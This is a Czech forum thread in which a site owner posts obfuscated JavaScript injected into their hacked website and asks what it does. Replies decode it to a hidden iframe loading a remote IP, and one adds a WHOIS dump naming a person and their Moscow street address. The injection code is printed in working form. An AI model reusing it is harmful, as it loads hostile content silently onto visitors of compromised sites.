Hack webu – co je to za kód?

Zdravím, někdo se mi dostal na stránky, pravděpodobně díky heslům uloženým v Total Commandru (jo jsem lama, ale tak pro ty co ho ještě používají - bacha na to!). Do stránek byl v tagu body vložen následující kód. Pomůže mi někdo rozluštit, co znamená? onload = "status='';d='s';ta='e';i='h';nf='ifr';cc='c';v='t';hx='p:/';sh='m';io='e';ei='fo';ny='/66';h='r';gl='hp';u='um2';p='21/';a='.85';nd='/in';c='e/';o='x.p';zr='t';l='.96';x='d';ua='.2';e='r';q='bas';j='a';kr=nf.concat(j,sh,io);n=d.concat(e,cc);rg=i.concat(v,zr,hx,ny,l,a,ua,p,q,c,ei,h,u,nd,x,ta,o,gl);var er=document.createElement(kr);er.setAttribute('width','5');er.setAttribute('height','5');er.setAttribute('style','visibility:hidden');er.setAttribute(n,rg);document.body.appendChild(er);window.status=status;"

jak jako total commanderem se ti tam dostal, jako měl fyzický přístup k PC nebo dálkově?

Tohle vypada na virus...

Napsal PM_;142999

jak jako total commanderem se ti tam dostal, jako měl fyzický přístup k PC nebo dálkově?

Dálkově. Spywar, vir, trojan, .... Je to poměrně časté

a nebo jsou i lidi tak chytrý a klidně si daj sdílet složku windows

No pravděpodobně se skutečně jedná o nějaký virus - přístup tedy dálkový. Viz http://navody.c4.cz/webove-viry Hlavně mě ale zajímá, co ten vložený kód vlastně dělá za funkci

Napsal jirkapinus;142998

Zdravím,

někdo se mi dostal na stránky, pravděpodobně díky heslům uloženým v Total Commandru (jo jsem lama, ale tak pro ty co ho ještě používají - bacha na to!). Do stránek byl v tagu body vložen následující kód. Pomůže mi někdo rozluštit, co znamená?

onload = "status='';d='s';ta='e';i='h';nf='ifr';cc='c';v='t';hx='p:/';sh='m';io='e';ei='fo';ny='/66';h='r';gl='hp';u='um2';p='21/';a='.85';nd='/in';c='e/';o='x.p';zr='t';l='.96';x='d';ua='.2';e='r';q='bas';j='a';kr=nf.concat(j,sh,io);n=d.concat(e,cc);rg=i.concat(v,zr,hx,ny,l,a,ua,p,q,c,ei,h,u,nd,x,ta,o,gl);var er=document.createElement(kr);er.setAttribute('width','5');er.setAttribute('height','5');er.setAttribute('style','visibility:hidden');er.setAttribute(n,rg);document.body.appendChild(er);window.status=status;"

Toto to je: http://66.96.85.221/base/forum2/index.php OrgName: HIVELOCITY VENTURES CORP OrgID: HVC-3 Address: 400 N Tampa St Address: #1025 City: Tampa StateProv: FL PostalCode: 33602 Country: US ReferralServer: rwhois://66.96.80.20:4321/ NetRange: 66.96.80.0 - 66.96.95.255 CIDR: 66.96.80.0/20 NetName: HIVEL-BLK1 NetHandle: NET-66-96-80-0-1 Parent: NET-66-0-0-0-0 NetType: Direct Assignment NameServer: DNS1.HIVELOCITY.NET NameServer: DNS2.HIVELOCITY.NET Comment: RegDate: 2002-12-24 Updated: 2002-12-24 RNOCHandle: NOC224-ARIN RNOCName: Network Operations Center RNOCPhone: +1-727-209-2301 RNOCEmail: OrgTechHandle: NOC224-ARIN OrgTechName: Network Operations Center OrgTechPhone: +1-727-209-2301 OrgTechEmail: == Additional Information From rwhois://66.96.80.20:4321/ == network:Class-Name:network network:ID:NETBLK-HIVEL.66.96.85.0/24 network:Auth-Area:66.96.85.0/24 network:Network-Name:Olga Chiriaeva-66.96.85.221 network:IP-Network:66.96.85.221/32 network:IP-Network-Block:66.96.85.221 - 66.96.85.221 network:Organization;I:Olga Chiriaeva network:Street-Address:Rublevskoe Ave 91-3-52 network:City:Moscow network:State:None network:Postal-Code:121615 network:Country-Code:Russia network:Tech-Contact;I: network:Admin-Contact;I:ARIN-NIC-HANDLE network:Created:20010919 network:Updated:20020219 network:Updated-By: network:Comment:69.46.25.172 - 69.46.25.172 network:Comment:69.46.25.169 - 69.46.25.171 network:Comment:69.46.24.108 - 69.46.24.108 network:Comment:69.46.23.156 - 69.46.23.160 network:Comment:69.46.24.95 - 69.46.24.99 network:Comment:66.96.85.221 - 66.96.85.225 network:Comment:206.51.225.159 - 206.51.225.159 network:Comment:206.51.225.217 - 206.51.225.221 network:Comment:206.51.225.160 - 206.51.225.164 network:Comment:66.96.85.110 - 66.96.85.110 network:Comment:206.51.238.46 - 206.51.238.46 network:Comment:206.51.238.65 - 206.51.238.69 network:Comment:206.51.238.47 - 206.51.238.51 network:Comment:206.51.231.56 - 206.51.231.56 network:Comment:206.51.231.57 - 206.51.231.61 network:Comment:69.46.24.94 - 69.46.24.94 network:Comment:69.46.27.41 - 69.46.27.41 network:Comment:69.46.27.42 - 69.46.27.46 network:Comment:69.46.25.168 - 69.46.25.168 network:Comment:69.46.25.173 - 69.46.25.173 network:Comment:206.51.231.98 - 206.51.231.98 network:Comment:206.51.229.121 - 206.51.229.125 network:Comment:206.51.229.120 - 206.51.229.120 network:Comment:69.46.16.167 - 69.46.16.171 network:Comment:69.46.16.97 - 69.46.16.101 network:Comment:69.46.16.96 - 69.46.16.96 network:Comment:69.46.16.166 - 69.46.16.166 network:Comment:206.51.231.99 - 206.51.231.103 network:Comment:66.96.85.111 - 66.96.85.115 network:Comment:206.51.232.28 - 206.51.232.28 network:Comment:206.51.232.29 - 206.51.232.33 network:Comment:206.51.238.64 - 206.51.238.64 network:Comment:69.46.15.161 - 69.46.15.161 network:Comment:69.46.15.162 - 69.46.15.166 network:Comment:66.96.85.220 - 66.96.85.220 network:Comment:66.96.85.226 - 66.96.85.226 network:Comment:66.96.85.227 - 66.96.85.231 network:Comment:69.46.24.57 - 69.46.24.61 network:Comment:69.46.24.56 - 69.46.24.56 network:Comment:66.232.100.3 - 66.232.100.7 network:Comment:66.232.110.3 - 66.232.110.6 network:Comment:66.232.97.14 - 66.232.97.14 network:Comment:66.232.97.15 - 66.232.97.19 network:Comment:66.232.97.205 - 66.232.97.209 network:Comment:66.232.97.225 - 66.232.97.225 network:Comment:66.232.97.226 - 66.232.97.230 network:Comment:66.232.97.243 - 66.232.97.243 network:Comment:66.232.98.52 - 66.232.98.52 network:Comment:66.232.98.53 - 66.232.98.57 network:Comment:66.232.96.219 - 66.232.96.222 network:Comment:66.232.96.218 - 66.232.96.218 network:Comment:66.232.100.2 - 66.232.100.2 network:Comment:66.232.101.79 - 66.232.101.83 network:Comment:66.232.101.78 - 66.232.101.78 network:Comment:66.232.100.57 - 66.232.100.61 network:Comment:66.232.100.56 - 66.232.100.56 network:Comment:66.232.100.63 - 66.232.100.67 network:Comment:66.232.100.62 - 66.232.100.62 network:Comment:66.232.100.192 - 66.232.100.196 network:Comment:66.232.100.191 - 66.232.100.191 network:Comment:66.232.102.194 - 66.232.102.194 network:Comment:66.232.102.195 - 66.232.102.199 network:Comment:66.232.105.73 - 66.232.105.77 network:Comment:66.232.105.72 - 66.232.105.72 network:Comment:66.232.105.233 - 66.232.105.237 network:Comment:66.232.107.185 - 66.232.107.193 network:Comment:66.232.107.184 - 66.232.107.184 network:Comment:66.232.107.204 - 66.232.107.204 network:Comment:66.232.107.205 - 66.232.107.213 network:Comment:66.232.107.224 - 66.232.107.224 network:Comment:66.232.107.225 - 66.232.107.233 network:Comment:69.46.20.71 - 69.46.20.71 network:Comment:66.232.102.116 - 66.232.102.120 network:Comment:66.232.102.115 - 66.232.102.115 network:Comment:66.232.110.2 - 66.232.110.2 network:Comment:66.232.105.232 - 66.232.105.232 network:Comment:66.232.105.251 - 66.232.105.254 network:Comment:66.232.118.177 - 66.232.118.177 network:Comment:66.232.113.98 - 66.232.113.98 network:Comment:66.232.113.99 - 66.232.113.103 network:Comment:66.232.105.94 - 66.232.105.95 network:Comment:66.232.118.178 - 66.232.118.182 network:Comment:66.232.119.67 - 66.232.119.71 network:Comment:66.232.119.66 - 66.232.119.66 network:Comment:66.232.118.183 - 66.232.118.183 network:Comment:66.232.118.184 - 66.232.118.188 network:Comment:66.232.124.86 - 66.232.124.89 network:Comment:66.232.124.90 - 66.232.124.90 network:Comment:66.232.124.243 - 66.232.124.243 network:Comment:66.232.124.244 - 66.232.124.248 network:Comment:66.232.126.74 - 66.232.126.78 network:Comment:66.232.125.127 - 66.232.125.127 network:Comment:66.232.126.189 - 66.232.126.189 network:Comment:66.232.126.190 - 66.232.126.194 network:Comment:66.232.126.202 - 66.232.126.206 network:Comment:66.232.126.201 - 66.232.126.201 network:Comment:66.232.127.109 - 66.232.127.113 network:Comment:66.232.127.223 - 66.232.127.227 network:Comment:74.50.97.236 - 74.50.97.240 network:Comment:74.50.99.146 - 74.50.99.146 network:Comment:74.50.99.147 - 74.50.99.151 network:Comment:74.50.106.184 - 74.50.106.188 network:Comment:69.46.23.155 - 69.46.23.155 network:Comment:206.51.225.216 - 206.51.225.216 network:Comment:74.50.106.133 - 74.50.106.137 network:Comment:74.50.106.132 - 74.50.106.132 network:Comment:74.50.117.67 - 74.50.117.71 network:Comment:74.50.117.66 - 74.50.117.66 network:Comment:74.50.117.72 - 74.50.117.72 network:Comment:74.50.117.73 - 74.50.117.77 network:Comment:74.50.117.78 - 74.50.117.78 network:Comment:74.50.117.79 - 74.50.117.83 network:Comment:74.50.117.84 - 74.50.117.84 network:Comment:74.50.117.85 - 74.50.117.89 network:Comment:74.50.117.90 - 74.50.117.90 network:Comment:74.50.117.91 - 74.50.117.95 network:Comment:74.50.117.96 - 74.50.117.96 network:Comment:74.50.117.97 - 74.50.117.101 network:Comment:74.50.117.102 - 74.50.117.102 network:Comment:74.50.117.103 - 74.50.117.107 network:Comment:66.232.124.85 - 66.232.124.85 network:Comment:74.50.106.89 - 74.50.106.93 network:Comment:74.50.106.183 - 74.50.106.183 network:Comment:74.50.106.88 - 74.50.106.88 network:Comment:66.232.127.108 - 66.232.127.108 network:Comment:66.232.127.222 - 66.232.127.222 network:Class-Name:network network:ID:NETBLK-ISPWIDGET.66.96.85.0/24 network:Auth-Area:66.96.85.0/24 network:Network-Name:ISPWIDGET-66.96.85.0 network:IP-Network:66.96.85.0/24 network:IP-Network-Block:66.96.85.0 - 66.96.85.255 network:Organization;I:hivelocity network:Tech-Contact;I: network:Admin-Contact;I:ARIN-NIC-HANDLE network:Created:20010919 network:Updated:20010924 network:Updated-By:Blake